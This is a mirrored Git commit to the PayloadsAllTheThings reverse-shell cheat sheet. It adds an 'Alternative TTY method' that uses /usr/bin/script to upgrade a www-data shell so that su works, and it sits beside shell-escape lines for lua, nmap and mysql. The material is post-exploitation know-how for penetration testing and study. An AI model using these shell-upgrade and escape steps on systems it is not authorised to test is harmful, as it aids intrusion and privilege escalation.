1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-06-21 19:39:22 +02:00

Alternative TTY method with /usr/bin/script

This commit is contained in:
Th1b4ud 2020-04-21 19:21:51 +02:00 committed by GitHub
parent eaac0e748e
commit 2740600a6b
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -431,6 +431,19 @@ lua: os.execute('/bin/sh')
- nmap: `!sh`
- mysql: `! bash`
Alternative TTY method
```
www-data@debian:/dev/shm$ su - user
su: must be run from a terminal
www-data@debian:/dev/shm$ /usr/bin/script -qc /bin/bash /dev/null
www-data@debian:/dev/shm$ su - user
Password: P4ssW0rD
user@debian:~$
```
## Fully interactive reverse shell on Windows
The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals.